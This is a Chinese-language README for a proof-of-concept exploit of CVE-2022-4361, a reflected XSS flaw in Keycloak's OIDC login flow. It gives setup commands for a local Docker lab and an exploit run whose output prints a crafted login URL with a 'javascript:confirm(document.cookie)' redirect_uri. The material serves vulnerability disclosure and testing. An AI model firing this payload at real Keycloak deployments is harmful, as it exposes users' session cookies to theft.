此仓库包含针对 CVE-2022-4361 的概念验证 (PoC)。
所有功劳归功于该漏洞的原始发现者 mulliken;
重要提示:此 PoC 并不完整,因为它未覆盖 SAML 认证协议中的 AssertionConsumerServiceURL 值的情况。目前仅覆盖了 OIDC 情况。
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361
docker compose up -d
等待基础设施可用并可访问。
由于在此 PoC 中 Keycloak 未与任何 Web 应用程序集成,因此需要指定完整的 Keycloak 认证 URL(一旦正确设置了测试领域)。
在此测试环境中,可以通过以下 URL 测试该漏洞。
python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...
将打开一个带有恶意登录页面的浏览器窗口,如下面的截图所示。

一旦受害者提供有效的凭据(可在 keycloak-config/test-realm.json 中找到)并点击 Sign In 按钮,反射型 XSS 攻击就会触发。
值得注意的是,即使受害者已登录到应用程序,攻击也能成功。

redirect_uri 设置通配符 * 值。目前,此 PoC 仅覆盖了使用 OIDC 认证流程配置 Keycloak 的情况。
在未来的部署中,将引入 SAML 认证协议。